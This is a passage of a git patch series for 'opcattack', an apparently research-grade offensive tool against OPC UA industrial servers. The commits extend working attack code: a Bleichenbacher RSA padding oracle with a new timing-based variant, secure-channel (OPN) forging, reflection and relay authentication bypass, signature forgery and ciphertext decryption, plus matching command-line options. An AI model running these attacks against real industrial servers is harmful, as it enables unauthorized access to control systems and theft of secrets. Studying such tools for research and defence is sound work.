Stop reusing connections once a timeout has happened once. + self._has_timed_out = True except: # On any misc. exception, assume the connection is broken and reset it. try: @@ -568,6 +572,10 @@ def _setup(self): encodedPart=b'' ) + # For some reason, one implementation leaves the TCP connection open after failure but stops responding. Put a + # timeout on the socket (kinda arbitrarily picked 3 seconds) to cause a breaking exception when this happens. + self._socket.settimeout(3) + def _cleanup(self): self._socket.shutdown(SHUT_RDWR) self._socket.close() @@ -1123,7 +1131,7 @@ def bypass_opn(impersonate_endpoint : endpointDescription.Type, login_endpoint : log(f'Storing signed+encrypted OPN request in cache file {cache}.') cachedata[cachekey] = b64encode(opn_req.to_bytes()) with cache.open('w') as outfile: - json.dump(outfile, cachedata) + json.dump(cachedata, outfile) log('Performing the OPN handshake...') login_sock = connect_and_hello(lhost, lport) From e658589964a4addaf7b4a2efea0527fa4462e054 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Wed, 20 Mar 2024 15:26:52 +0100 Subject: [PATCH 24/70] Some fixes to accomodate Prosys implementation. --- attacks.py | 7 ++++--- message_fields.py | 7 ++++--- 2 files changed, 8 insertions(+), 6 deletions(-) diff --git a/attacks.py b/attacks.py index 95e07dc..08df927 100644 --- a/attacks.py +++ b/attacks.py @@ -60,6 +60,7 @@ def parse_endpoint_url(url): protos = { "opc.tcp": TransportProtocol.TCP_BINARY, "https" : TransportProtocol.HTTPS, + "opc.https" : TransportProtocol.HTTPS, } if m.group('scheme') not in protos: raise Exception(f'Unsupported protocol: "{m.group("scheme")}" in URL {url}.') @@ -264,7 +265,7 @@ def generic_exchange( if type(chan_or_url) == ChannelState: return session_exchange(chan_or_url, reqfield, respfield, **req_data) else: - assert type(chan_or_url) == str and chan_or_url.startswith('https://') + assert type(chan_or_url) == str and parse_endpoint_url(chan_or_url)[0] == TransportProtocol.HTTPS return https_exchange(chan_or_url, nonce_policy, reqfield, respfield, **req_data) # Request endpoint information from a server. @@ -280,7 +281,7 @@ def get_endpoints(ep_url : str) -> List[endpointDescription.Type]: profileUris=[], ) else: - assert(ep_url.startswith('https://')) + assert(parse_endpoint_url(ep_url)[0] == TransportProtocol.HTTPS) resp = https_exchange(f'{ep_url.rstrip("/")}/discovery', None, getEndpointsRequest, getEndpointsResponse, requestHeader=simple_requestheader(), endpointUrl=ep_url, @@ -463,7 +464,7 @@ def reflect_attack(url : str, demo : bool, try_opn_oracle : bool, try_password_o raise AttackNotPossible('No endpoints applicable (TCP/HTTPS transport and a non-None security policy are required; also, support for Aes256_Sha256_RsaPss is currently not implemented yet).') else: - raise AttackNotPossible('Server does not support HTTPS endpoint. Try with --bypass-opn instead.') + raise AttackNotPossible('Server does not support HTTPS endpoint (with non-None security policy). Try with --bypass-opn instead.') def relay_attack(source_url : str, target_url : str, demo : bool): log(f'Attempting relay from {source_url} to {target_url}') diff --git a/message_fields.py b/message_fields.py index 1db0673..84d4e66 100644 --- a/message_fields.py +++ b/message_fields.py @@ -206,9 +206,10 @@ def to_bytes(self, value): def from_bytes(self, bytestr): length, todo = self._lenfield.from_bytes(bytestr) result = [] - for _ in range(0, length): - el, todo = self._elfield.from_bytes(todo) - result.append(el) + if length != 0xffffffff: + for _ in range(0, length): + el, todo = self._elfield.from_bytes(todo) + result.append(el) return result, todo From 4d197b2dcbe9b4aed5c6a8b02f17cdf926725594 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Wed, 20 Mar 2024 16:18:45 +0100 Subject: [PATCH 25/70] Few more bugfixes. --- attacks.py | 8 +++++--- opcattack.py | 2 +- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/attacks.py b/attacks.py index 08df927..7fdd7cc 100644 --- a/attacks.py +++ b/attacks.py @@ -251,7 +251,9 @@ def https_exchange( } if nonce_policy is not None: headers['OPCUA-SecurityPolicy'] = f'http://opcfoundation.org/UA/SecurityPolicy#{nonce_policy.value}' - + + if url.startswith('opc.http'): + url = url[4:] reqbody = reqfield.to_bytes(reqfield.create(**req_data)) http_resp = requests.post(url, verify=False, headers=headers, data=reqbody) return respfield.from_bytes(http_resp.content)[0] @@ -605,7 +607,7 @@ def pick_endpoint(clazz, endpoints): class PasswordPaddingOracle(PaddingOracle): @classmethod - def _preferred_tokenpolicy(_, endpoint): + def _preferred_tokenpolicy(_, endpoint): policies = sorted(endpoint.userIdentityTokens, reverse=True, key=lambda t: ( t.tokenType == UserTokenType.USERNAME, @@ -1130,7 +1132,7 @@ def bypass_opn(impersonate_endpoint : endpointDescription.Type, login_endpoint : else: opn_req = forge_opn_request(impersonate_endpoint, login_endpoint, opn_oracle, password_oracle) log(f'Storing signed+encrypted OPN request in cache file {cache}.') - cachedata[cachekey] = b64encode(opn_req.to_bytes()) + cachedata[cachekey] = b64encode(opn_req.to_bytes()).decode() with cache.open('w') as outfile: json.dump(cachedata, outfile) diff --git a/opcattack.py b/opcattack.py index b049657..d096fef 100755 --- a/opcattack.py +++ b/opcattack.py @@ -283,7 +283,7 @@ def execute(self, args): 'password': (False, True), 'try-both': (True, True), }[args.padding_oracle_type] - forge_signature_attack(args.url, unhexlify(args.payload), opn, password, args.hash_function) + forge_signature_attack(args.url, unhexlify(args.payload), opn, password, SecurityPolicy.BASIC128RSA15 if args.hash_function == 'sha1' else SecurityPolicy.BASIC256) class MitMAttack(Attack): subcommand = 'mitm' From 1309de8662df81f77dd4717684420127dff42f65 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Wed, 20 Mar 2024 17:05:38 +0100 Subject: [PATCH 26/70] More fixes. --- attacks.py | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/attacks.py b/attacks.py index 7fdd7cc..ec348bf 100644 --- a/attacks.py +++ b/attacks.py @@ -15,6 +15,8 @@ from base64 import b64encode, b64decode from datetime import datetime, timedelta from pathlib import Path +from decimal import Decimal +from io import BytesIO import sys, os, itertools, re, math, hashlib, json @@ -727,6 +729,7 @@ def rsa_decryptor(oracle : PaddingOracle, certificate : bytes, ciphertext : byte # Metrics for progress reporting. query_count = 0 i = 0 + msize = f'{Decimal(B):.2E}' # Oracle function. def query(candidate): @@ -738,7 +741,7 @@ def query(candidate): # Report progress for every query. query_count += 1 spinnything = '/-\\|'[(query_count // 30) % 4] - print(f'[{spinnything}] Progress: iteration {i}; oracle queries: {query_count}', end='\r', file=sys.stderr, flush=True) + print(f'[{spinnything}] Progress: iteration {i}; interval size: {msize}; oracle queries: {query_count}', end='\r', file=sys.stderr, flush=True) return result @@ -759,7 +762,6 @@ def query(candidate): test_factor = lambda sval: query(c0 * pow(sval, e, n) % n) M_i = {(2 * B, 3 * B - 1)} - i = 1 s_i = ceildiv(n, 3*B) @@ -796,6 +798,7 @@ def query(candidate): for a, b in M_i for r in range(ceildiv(a*s_i-3*B+1, n), (b*s_i-2*B) // n + 1) } + msize = f'{Decimal(sum(b - a for a,b in M_i)):.2E}' # Step 4: Computing the solution. if len(M_i) == 1: @@ -1123,12 +1126,12 @@ def bypass_opn(impersonate_endpoint : endpointDescription.Type, login_endpoint : log(f'Error parsing {cache} contents. Ignoring it and starting a new cache file.') # An OPN can be reused as long as the endpoints use the same certificates and security policies. - ep_id = lambda ep: f'{hexlify(certificate_thumbprint(ep.serverCertificate))}-{ep.securityPolicyUri.name}' + ep_id = lambda ep: f'{hexlify(certificate_thumbprint(ep.serverCertificate)).decode()}-{ep.securityPolicyUri.name}' cachekey = f'{ep_id(impersonate_endpoint)}/{ep_id(login_endpoint)}' if cachekey in cachedata: log('Using signed+encrypted OPN request from cache.') opn_req = OpenSecureChannelMessage() - opn_req.from_bytes(b64decode(cachedata[cachekey])) + opn_req.from_bytes(BytesIO(b64decode(cachedata[cachekey]))) else: opn_req = forge_opn_request(impersonate_endpoint, login_endpoint, opn_oracle, password_oracle) log(f'Storing signed+encrypted OPN request in cache file {cache}.') From 709f9596b99003d80cddff89fd4bcb4a41ed3d50 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Thu, 21 Mar 2024 09:16:44 +0100 Subject: [PATCH 27/70] Almost got padding oracle based auth bypass to work. --- attacks.py | 33 ++++++++++++++++++--------------- crypto.py | 11 +++++++---- 2 files changed, 25 insertions(+), 19 deletions(-) diff --git a/attacks.py b/attacks.py index ec348bf..796c072 100644 --- a/attacks.py +++ b/attacks.py @@ -451,19 +451,19 @@ def reflect_attack(url : str, demo : bool, try_opn_oracle : bool, try_password_o assert tproto == TransportProtocol.TCP_BINARY log(f'No HTTPS endpoints. Trying to bypass secure channel on {target.endpointUrl} via padding oracle.') - with bypass_opn(target, target, try_opn_oracle, try_password_oracle, cache_file) as chan: - log(f'Trying reflection attack (if channel is still alive).') - try: - token = execute_relay_attack(chan, target, chan, target) - except ServerError as err: - if err.errorcode == 0x80870000: - raise AttackNotPossible('Server returning BadSecureChannelTokenUnknown error. Probably means that the channel expired during the time needed for the padding oracle attack.') - else: - raise err + chan = bypass_opn(target, target, try_opn_oracle, try_password_oracle, cache_file) + log(f'Trying reflection attack (if channel is still alive).') + try: + token = execute_relay_attack(chan, target, chan, target) + except ServerError as err: + if err.errorcode == 0x80870000: + raise AttackNotPossible('Server returning BadSecureChannelTokenUnknown error. Probably means that the channel expired during the time needed for the padding oracle attack.') + else: + raise err - log_success(f'Attack succesfull! Authenticated session set up with {target.endpointUrl}.') - if demo: - demonstrate_access(chan, token, target.securityPolicyUri) + log_success(f'Attack succesfull! Authenticated session set up with {target.endpointUrl}.') + if demo: + demonstrate_access(chan, token, target.securityPolicyUri) else: raise AttackNotPossible('No endpoints applicable (TCP/HTTPS transport and a non-None security policy are required; also, support for Aes256_Sha256_RsaPss is currently not implemented yet).') @@ -1126,7 +1126,7 @@ def bypass_opn(impersonate_endpoint : endpointDescription.Type, login_endpoint : log(f'Error parsing {cache} contents. Ignoring it and starting a new cache file.') # An OPN can be reused as long as the endpoints use the same certificates and security policies. - ep_id = lambda ep: f'{hexlify(certificate_thumbprint(ep.serverCertificate)).decode()}-{ep.securityPolicyUri.name}' + ep_id = lambda ep: f'{hexlify(certificate_thumbprint(ep.serverCertificate)).decode()}-{ep.securityPolicyUri.name}-{ep.securityMode}' cachekey = f'{ep_id(impersonate_endpoint)}/{ep_id(login_endpoint)}' if cachekey in cachedata: log('Using signed+encrypted OPN request from cache.') @@ -1149,12 +1149,15 @@ def bypass_opn(impersonate_endpoint : endpointDescription.Type, login_endpoint : assert len(opn_reply.encodedPart) % cipherblocksize == 0 decrypted = rsa_decryptor(oracle, oracle_ep.serverCertificate, opn_reply.encodedPart[:cipherblocksize]) - log_success(f'Success! Got the following plaintext: {decrypted}') + log_success(f'Success! Got the following plaintext: {hexlify(decrypted).decode()}') unpadded = remove_rsa_padding(decrypted, login_endpoint.securityPolicyUri) + if not unpadded: + raise Exception(f'Failed to unpad RSA plaintext {hexlify(decrypted).decode()} (SP: {login_endpoint.securityPolicyUri})') # Assuming response fits in single plaintext block. log('Removed padding. Now parsing OpenSecureChannelResponse.') - opn_resp, _ = openSecureChannelResponse.from_bytes(encodedConversation.from_bytes(unpadded)[0]) + opn_resp, _ = openSecureChannelResponse.from_bytes(encodedConversation.from_bytes(unpadded)[0].requestOrResponse) + print(repr(opn_resp)) log_success(f'Extracted secret server nonce: {hexlify(opn_resp.serverNonce).decode()}') return ChannelState( diff --git a/crypto.py b/crypto.py index bbd69d5..b434b5b 100644 --- a/crypto.py +++ b/crypto.py @@ -11,6 +11,7 @@ import hmac, hashlib from datetime import datetime, timedelta +from functools import cache # Asymmetric stuff for OPN messages, authentication signatures and passwords. @@ -212,13 +213,15 @@ def int2bytes(value : int, outlen : int) -> bytes: raise ValueError(f'{value} does not fit in {outlen} bytes.') return bytes(result) +@cache +def arbitrary_keypair(bits : int) -> RsaKey: + return RSA.generate(bits) + def decode_oaep_padding(payload : bytes, hashfunc : str) -> Optional[bytes]: # Can't find a good OAEP decoding implementation right now (crypto libraries don't seem to expose unpadding # separately), and implementing it seems a bit of a pain to test and debug, so let's just cheat by encrypting and # decrypting it with an arbitrary key pair. - global _oaep_keycache - keybits = len(payload) * 8 - keypair = _oaep_keycache.get(keybits) or _oaep_keycache.setdefault(keybits, RSA.generate(keybits)) + keypair = arbitrary_keypair(len(payload) * 8) hasher = { 'sha1': SHA1, @@ -230,7 +233,7 @@ def decode_oaep_padding(payload : bytes, hashfunc : str) -> Optional[bytes]: m += by try: - return PKCS1_OAEP(keypair, hasher).decrypt(int2bytes(pow(m, keypair.e, keypair.n))) + return PKCS1_OAEP.new(keypair, hasher).decrypt(int2bytes(pow(m, keypair.e, keypair.n), len(payload))) except: return None From 5fadb8378d5ff06910af82ea7dd61f7adc279764 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Thu, 21 Mar 2024 12:13:14 +0100 Subject: [PATCH 28/70] Added support for timing-based padding oracle attack. --- attacks.py | 132 ++++++++++++++++++++++++++++++++++++---------- message_fields.py | 1 + opcattack.py | 13 +++-- 3 files changed, 115 insertions(+), 31 deletions(-) diff --git a/attacks.py b/attacks.py index 796c072..2490b36 100644 --- a/attacks.py +++ b/attacks.py @@ -18,7 +18,7 @@ from decimal import Decimal from io import BytesIO -import sys, os, itertools, re, math, hashlib, json +import sys, os, itertools, re, math, hashlib, json, time # Logging and errors. def log(msg : str): @@ -425,7 +425,7 @@ def browse_from(root, depth): log('Finished browsing.') # Reflection attack: log in to a server with its own identity. -def reflect_attack(url : str, demo : bool, try_opn_oracle : bool, try_password_oracle : bool, cache_file : Path): +def reflect_attack(url : str, demo : bool, try_opn_oracle : bool, try_password_oracle : bool, cache_file : Path, timing_threshold : float): proto, host, port = parse_endpoint_url(url) log(f'Attempting reflection attack against {url}') endpoints = get_endpoints(url) @@ -451,7 +451,7 @@ def reflect_attack(url : str, demo : bool, try_opn_oracle : bool, try_password_o assert tproto == TransportProtocol.TCP_BINARY log(f'No HTTPS endpoints. Trying to bypass secure channel on {target.endpointUrl} via padding oracle.') - chan = bypass_opn(target, target, try_opn_oracle, try_password_oracle, cache_file) + chan = bypass_opn(target, target, try_opn_oracle, try_password_oracle, cache_file, timing_threshold) log(f'Trying reflection attack (if channel is still alive).') try: token = execute_relay_attack(chan, target, chan, target) @@ -550,8 +550,8 @@ def query(self, ciphertext : bytes): except KeyboardInterrupt as ex: # Don't retry when user CTRL+C's. raise ex - except TimeoutError: - # Stop reusing connections once a timeout has happened once. + except (TimeoutError, ConnectionResetError): + # Stop reusing connections once a timeout or connection reset has happened once. self._has_timed_out = True except: # On any misc. exception, assume the connection is broken and reset it. @@ -564,6 +564,10 @@ def query(self, ciphertext : bytes): self._active = True return self._attempt_query(ciphertext) +# For some reason, one implementation leaves the TCP connection open after failure but stops responding. Put a +# timeout on the socket (kinda arbitrarily picked 3 seconds) to cause a breaking exception when this happens. +PO_SOCKET_TIMEOUT = 3 + class OPNPaddingOracle(PaddingOracle): def _setup(self): proto, host, port = parse_endpoint_url(self._endpoint.endpointUrl) @@ -577,9 +581,7 @@ def _setup(self): encodedPart=b'' ) - # For some reason, one implementation leaves the TCP connection open after failure but stops responding. Put a - # timeout on the socket (kinda arbitrarily picked 3 seconds) to cause a breaking exception when this happens. - self._socket.settimeout(3) + self._socket.settimeout(PO_SOCKET_TIMEOUT) def _cleanup(self): self._socket.shutdown(SHUT_RDWR) @@ -703,6 +705,75 @@ def pick_endpoint(clazz, endpoints): ep.transportProfileUri.endswith('uatcp-uasc-uabinary') ) ) + +class TimingBasedPaddingOracle(PaddingOracle): + def __init__(self, + endpoint, + base_oracle : PaddingOracle, # Padding oracle technique to use for timing when False is returned. + timing_threshold : float = 0.5, # When processing takes longer than this many seconds, asumming correct padding. + verify_repeats : int = 5, # How many times to repeat 'slow' query before confidence that padding is correct. + ctext_expansion : int = 100 # How many times bigger to repeat the ciphertext + ): + super().__init__(endpoint) + self._base = base_oracle + self._threshold = timing_threshold + self._repeats = verify_repeats + self._expansion = ctext_expansion + + def _setup(self): + # To improve reliability, repeat setup for every single attempt. + pass + + def _cleanup(self): + pass + + def _attempt_query(self, ciphertext): + self._base._setup() + payload = ciphertext * self._expansion + try: + start = time.time() + retval = self._base._attempt_query(payload) + duration = time.time() - start + except TimeoutError: + retval = False + duration = PO_SOCKET_TIMEOUT + + try: + self._base._cleanup() + except: + pass + + if retval: + # Apperantly no timing is needed for this one. Edge case that can occur on initial ciphertext. + return True + elif duration > self._threshold: + # Padding seems correct. Repeat with clean connections to gain certainty. + for i in range(0, self._repeats): + self._base._setup() + try: + start = time.time() + self._base._attempt_query(payload) + duration = time.time() - start + except TimeoutError: + duration = PO_SOCKET_TIMEOUT + + try: + self._base._cleanup() + except: + pass + + if duration < self._threshold: + return False + + # Padding must be right! + return True + else: + return False + + + @classmethod + def pick_endpoint(clazz, endpoints): + raise Exception('Call this on base oracle.') # Carry out a padding oracle attack against a Basic128Rsa15 endpoint. # Result is ciphertext**d mod n (encoded big endian; any padding not removed). @@ -812,7 +883,7 @@ def query(candidate): i += 1 -def padding_oracle_quality(certificate : bytes, oracle : PaddingOracle) -> int: +def padding_oracle_quality(certificate : bytes, oracle : PaddingOracle, goodpads : int = 100, badpads : int = 100) -> int: # Gives a score between 0 and 100 on how "strong" the padding oracle is. # This is determined by encrypting testing 100 plaintexts with correct padding and 100 with incorrect padding. # The score is based on the number of correct padding correctly reported as such is returned. @@ -824,12 +895,11 @@ def padding_oracle_quality(certificate : bytes, oracle : PaddingOracle) -> int: n, e = certificate_publickey_numbers(certificate) # Generate test cases deterministically for consistent scoring. - TESTCOUNT = 100 TESTSEED = 0x424242 rng = Random(TESTSEED) # For 'correct' test cases. First pick random padding size and then randomize both padding and data. - datasizes = [rng.randint(0, keylen - 11) for _ in range(0, TESTCOUNT)] + datasizes = [rng.randint(0, keylen - 11) for _ in range(0, goodpads)] padvals = [sum(rng.randint(1,255) << (i * 8) for i in range(0, keylen - ds - 3)) for ds in datasizes] correctpadding = [ (2 << 8 * (keylen - 2)) + \ @@ -839,8 +909,8 @@ def padding_oracle_quality(certificate : bytes, oracle : PaddingOracle) -> int: ] # As incorrect padding, just pick uniform random numbers modulo n not starting with 0x0002. - wrongpadding = [rng.randint(1, n) for _ in range(0, TESTCOUNT)] - for i in range(0, TESTCOUNT): + wrongpadding = [rng.randint(1, n) for _ in range(0, badpads)] + for i in range(0, badpads): while wrongpadding[i] >> (8 * (keylen - 2)) == 2: wrongpadding[i] = rng.randint(1, n) @@ -860,14 +930,12 @@ def padding_oracle_quality(certificate : bytes, oracle : PaddingOracle) -> int: else: # Our Bleichenbacher attack can't deal with false negatives. return 0 - # elif padding_right: - # print(f'Missed {hexlify(int2bytes(plaintext, keylen))}') print(f'[*] Progress: [{"=" * 100}]', file=sys.stderr, flush=True) - return score + return score * 100 // goodpads -def find_padding_oracle(url : str, try_opn : bool, try_password : bool) -> tuple[PaddingOracle, endpointDescription.Type]: +def find_padding_oracle(url : str, try_opn : bool, try_password : bool, timing_threshold : float) -> tuple[PaddingOracle, endpointDescription.Type]: # Try finding a working padding oracle against an endpoint. assert try_opn or try_password endpoints = get_endpoints(url) @@ -895,9 +963,18 @@ def find_padding_oracle(url : str, try_opn : bool, try_password : bool) -> tuple return oracle elif quality > bestscore: bestname, bestep, bestoracle, bestscore = oname, endpoint, oracle, quality + elif quality == 0 and timing_threshold > 0: + log(f'Base {oname} not working. Testing timing-based variant (threshold: {timing_threshold} seconds); this can take a minute.') + toracle = TimingBasedPaddingOracle(endpoint, oclass(endpoint), timing_threshold) + quality = padding_oracle_quality(endpoint.serverCertificate, toracle, 10, 100) + log(f'Timing-based {oname} score: {quality}/100') + # Prefer non-timing oracles with equal quality. + quality -= 1 + if quality > bestscore: + bestname, bestep, bestoracle, bestscore = f'Timing-based {oname}', endpoint, toracle, quality except ServerError as err: - log(f'Got server error {hex(err.errorcode)}. Don\'t know how to interpret it. Skipping {oname} oracle.') + log(f'Got server error {hex(err.errorcode)} ("{err.reason}"). Don\'t know how to interpret it. Skipping {oname} oracle.') except Exception as ex: log(f'Exception {type(ex).__name__} raised ("{ex}"). Skipping {oname} oracle.') else: @@ -909,11 +986,11 @@ def find_padding_oracle(url : str, try_opn : bool, try_password : bool) -> tuple else: raise AttackNotPossible(f'Can\'t find exploitable padding oracle.') -def decrypt_attack(url : str, ciphertext : bytes, try_opn : bool, try_password : bool): +def decrypt_attack(url : str, ciphertext : bytes, try_opn : bool, try_password : bool, timing_threshold : float): # Use padding oracle to decrypt a ciphertext. # Logs the result, and also tries parsing it. - oracle, endpoint = find_padding_oracle(url, try_opn, try_password) + oracle, endpoint = find_padding_oracle(url, try_opn, try_password, timing_threshold) log(f'Running padding oracle attack...') result = rsa_decryptor(oracle, endpoint.serverCertificate, ciphertext) @@ -966,7 +1043,7 @@ def decrypt_attack(url : str, ciphertext : bytes, try_opn : bool, try_password : except: pass -def forge_signature_attack(url : str, payload : bytes, try_opn : bool, try_password : bool, policy : SecurityPolicy) -> bytes: +def forge_signature_attack(url : str, payload : bytes, try_opn : bool, try_password : bool, policy : SecurityPolicy, timing_threshold : float) -> bytes: # Use padding oracle to forge an RSA PKCS#1 signature on some arbitrary payload. # Logs and returns signature. @@ -975,8 +1052,7 @@ def forge_signature_attack(url : str, payload : bytes, try_opn : bool, try_passw raise AttackNotPossible('Spoofing PSS signature is possible but currently not yet implemented.') hasher = 'sha1' if policy == SecurityPolicy.BASIC128RSA15 else 'sha256' - oracle, endpoint = find_padding_oracle(url, try_opn, try_password) - + oracle, endpoint = find_padding_oracle(url, try_opn, try_password, timing_threshold) # Compute padded hash to be used as 'ciphertext'. sigsize = certificate_publickey(endpoint.serverCertificate).size_in_bytes() padhash = pkcs1v15_signature_encode(hasher, payload, sigsize) @@ -1072,7 +1148,7 @@ def trylogin(): demonstrate_access(*chantoken, ep.securityPolicyUri) -def forge_opn_request(impersonate_endpoint : endpointDescription.Type, login_endpoint : endpointDescription.Type, opn_oracle : bool, password_oracle : bool) -> OpenSecureChannelMessage: +def forge_opn_request(impersonate_endpoint : endpointDescription.Type, login_endpoint : endpointDescription.Type, opn_oracle : bool, password_oracle : bool, timing_threshold : float) -> OpenSecureChannelMessage: # Use the padding oracle attack (against impersonate_endpoint) to forge a reusable signed and encrypted OPN request, that can be used against login_endpoint. assert login_endpoint.securityPolicyUri != SecurityPolicy.NONE @@ -1101,7 +1177,7 @@ def forge_opn_request(impersonate_endpoint : endpointDescription.Type, login_end login_pk = certificate_publickey(login_endpoint.serverCertificate) login_sp = login_endpoint.securityPolicyUri msg.sign_and_encrypt( - signer=lambda data: forge_signature_attack(impersonate_endpoint.endpointUrl, data, opn_oracle, password_oracle, login_sp), + signer=lambda data: forge_signature_attack(impersonate_endpoint.endpointUrl, data, opn_oracle, password_oracle, login_sp, timing_threshold), encrypter=lambda ptext: rsa_ecb_encrypt(login_sp, login_pk, ptext), plainblocksize=rsa_plainblocksize(login_sp, login_pk), cipherblocksize=login_pk.size_in_bytes(), @@ -1111,7 +1187,7 @@ def forge_opn_request(impersonate_endpoint : endpointDescription.Type, login_end log(f'Message bytes after applying encryption: {hexlify(msg.to_bytes()).decode()}') return msg -def bypass_opn(impersonate_endpoint : endpointDescription.Type, login_endpoint : endpointDescription.Type, opn_oracle : bool, password_oracle : bool, cache : Path) -> ChannelState: +def bypass_opn(impersonate_endpoint : endpointDescription.Type, login_endpoint : endpointDescription.Type, opn_oracle : bool, password_oracle : bool, cache : Path, timing_threshold : float) -> ChannelState: lproto, lhost, lport = parse_endpoint_url(login_endpoint.endpointUrl) if lproto != TransportProtocol.TCP_BINARY: raise AttackNotPossible('Target endpoint should use opc.tcp protocol.') @@ -1133,7 +1209,7 @@ def bypass_opn(impersonate_endpoint : endpointDescription.Type, login_endpoint : opn_req = OpenSecureChannelMessage() opn_req.from_bytes(BytesIO(b64decode(cachedata[cachekey]))) else: - opn_req = forge_opn_request(impersonate_endpoint, login_endpoint, opn_oracle, password_oracle) + opn_req = forge_opn_request(impersonate_endpoint, login_endpoint, opn_oracle, password_oracle, timing_threshold) log(f'Storing signed+encrypted OPN request in cache file {cache}.') cachedata[cachekey] = b64encode(opn_req.to_bytes()).decode() with cache.open('w') as outfile: @@ -1144,7 +1220,7 @@ def bypass_opn(impersonate_endpoint : endpointDescription.Type, login_endpoint : opn_reply = opc_exchange(login_sock, opn_req) log_success('Forged OPN request was accepted. Now keeping this session open while decrypting the first block of the response.') - oracle, oracle_ep = find_padding_oracle(impersonate_endpoint.endpointUrl, opn_oracle, password_oracle) + oracle, oracle_ep = find_padding_oracle(impersonate_endpoint.endpointUrl, opn_oracle, password_oracle, timing_threshold) cipherblocksize = certificate_publickey(oracle_ep.serverCertificate).size_in_bytes() assert len(opn_reply.encodedPart) % cipherblocksize == 0 diff --git a/message_fields.py b/message_fields.py index 84d4e66..b67095d 100644 --- a/message_fields.py +++ b/message_fields.py @@ -24,6 +24,7 @@ class ServerError(Exception): def __init__(self, errorcode, reason): super().__init__(f'Server error {hex(errorcode)}: "{reason}"') self.errorcode = errorcode + self.reason = reason def decodecheck(condition : bool, msg : str = 'Invalid OPC message syntax'): if not condition: diff --git a/opcattack.py b/opcattack.py index d096fef..9121fde 100755 --- a/opcattack.py +++ b/opcattack.py @@ -108,6 +108,8 @@ def add_arguments(self, aparser): help='file in which to cache OPN requests with spoofed signatures; default: .opncache.json') aparser.add_argument('-t', '--padding-oracle-type', choices=('opn', 'password', 'try-both'), default='try-both', help='which PKCS#1 padding oracle to use with --bypass-opn; default: try-both') + aparser.add_argument('-T', '--timing-attack-threshold', type=float, default=0, + help='if set together with --bypass-opn, will try a timing-based padding oracle with this threshold parameter (fractional; in seconds)') aparser.add_argument('url', help='Target server OPC URL (either opc.tcp:// or https:// protocol)', @@ -119,7 +121,8 @@ def execute(self, args): not args.no_demo, args.bypass_opn and args.padding_oracle_type != 'password', args.bypass_opn and args.padding_oracle_type != 'opn', - args.cache_file + args.cache_file, + args.timing_attack_threshold ) class RelayAttack(Attack): @@ -241,6 +244,8 @@ def add_arguments(self, aparser): help='endpoint URL of the OPC UA server owning the RSA key pair the ciphertext was produced for') aparser.add_argument('ciphertext', type=str, help='hex-encoded RSA-encrypted ciphertext; either OAEP or PKCS#1') + aparser.add_argument('-T', '--timing-attack-threshold', type=float, default=0, + help='if set, will also try a timing-based padding oracle with this threshold parameter (fractional; in seconds)') def execute(self, args): opn, password = { @@ -248,7 +253,7 @@ def execute(self, args): 'password': (False, True), 'try-both': (True, True), }[args.padding_oracle_type] - decrypt_attack(args.url, unhexlify(args.ciphertext), opn, password) + decrypt_attack(args.url, unhexlify(args.ciphertext), opn, password, args.timing_attack_threshold) class SigForgeAttack(Attack): @@ -272,6 +277,8 @@ def add_arguments(self, aparser): help='which PKCS#1 padding oracle to use; default: try-both') aparser.add_argument('-H', '--hash-function', choices=('sha1', 'sha256'), default='sha256', help='hash function to use in signature computation; default: sha256') + aparser.add_argument('-T', '--timing-attack-threshold', type=float, default=0, + help='if set, will also try a timing-based padding oracle with this threshold parameter (fractional; in seconds)') aparser.add_argument('url', type=str, help='endpoint URL of the OPC UA server whose private key to spoof a signature with') aparser.add_argument('payload', type=str, @@ -283,7 +290,7 @@ def execute(self, args): 'password': (False, True), 'try-both': (True, True), }[args.padding_oracle_type] - forge_signature_attack(args.url, unhexlify(args.payload), opn, password, SecurityPolicy.BASIC128RSA15 if args.hash_function == 'sha1' else SecurityPolicy.BASIC256) + forge_signature_attack(args.url, unhexlify(args.payload), opn, password, SecurityPolicy.BASIC128RSA15 if args.hash_function == 'sha1' else SecurityPolicy.BASIC256, args.timing_attack_threshold) class MitMAttack(Attack): subcommand = 'mitm' From 1454e3b8c7bcc2cc571b15d797d56f902129590b Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Thu, 21 Mar 2024 15:30:31 +0100 Subject: [PATCH 29/70] Implemented "check" command to list endpoints and evaluate which attacks may work. It also has a tool to help with configuring a timing attack. --- attacks.py | 200 ++++++++++++++++++++++++++++++++++++++++----------- opcattack.py | 19 +++-- 2 files changed, 169 insertions(+), 50 deletions(-) diff --git a/attacks.py b/attacks.py index 2490b36..7bdbf6c 100644 --- a/attacks.py +++ b/attacks.py @@ -18,7 +18,7 @@ from decimal import Decimal from io import BytesIO -import sys, os, itertools, re, math, hashlib, json, time +import sys, os, itertools, re, math, hashlib, json, time, dataclasses # Logging and errors. def log(msg : str): @@ -458,6 +458,8 @@ def reflect_attack(url : str, demo : bool, try_opn_oracle : bool, try_password_o except ServerError as err: if err.errorcode == 0x80870000: raise AttackNotPossible('Server returning BadSecureChannelTokenUnknown error. Probably means that the channel expired during the time needed for the padding oracle attack.') + elif err.errorcode == 0x807f0000: + raise AttackNotPossible('Server returning BadTcpSecureChannelUnknown error. Probably means that the channel expired during the time needed for the padding oracle attack.') else: raise err @@ -659,7 +661,7 @@ def _cleanup(self): def _attempt_query(self, ciphertext): token = userNameIdentityToken.create( policyId=self._policyId, - userName='admin', # User probably does not need to exist; otherwise this is a likely guess + userName='pwdtestnotarealuser', password=ciphertext, encryptionAlgorithm='http://www.w3.org/2001/04/xmlenc#rsa-1_5', ) @@ -882,19 +884,11 @@ def query(candidate): i += 1 +def padding_oracle_testinputs(keylen : int, pubkey : int, goodpads : int, badpads : int) -> list[tuple[bool,int]]: + # Returns (deterministically generated and shuffled) test cases for padding oracle testing. + # Result elements conists of a bool indicating whether the input has valid PKCS#1 padding, and said input in + # integer form. -def padding_oracle_quality(certificate : bytes, oracle : PaddingOracle, goodpads : int = 100, badpads : int = 100) -> int: - # Gives a score between 0 and 100 on how "strong" the padding oracle is. - # This is determined by encrypting testing 100 plaintexts with correct padding and 100 with incorrect padding. - # The score is based on the number of correct padding correctly reported as such is returned. - # If any incorrectly padded plaintext is reported as valid, 0 is returned. - # Will not catch 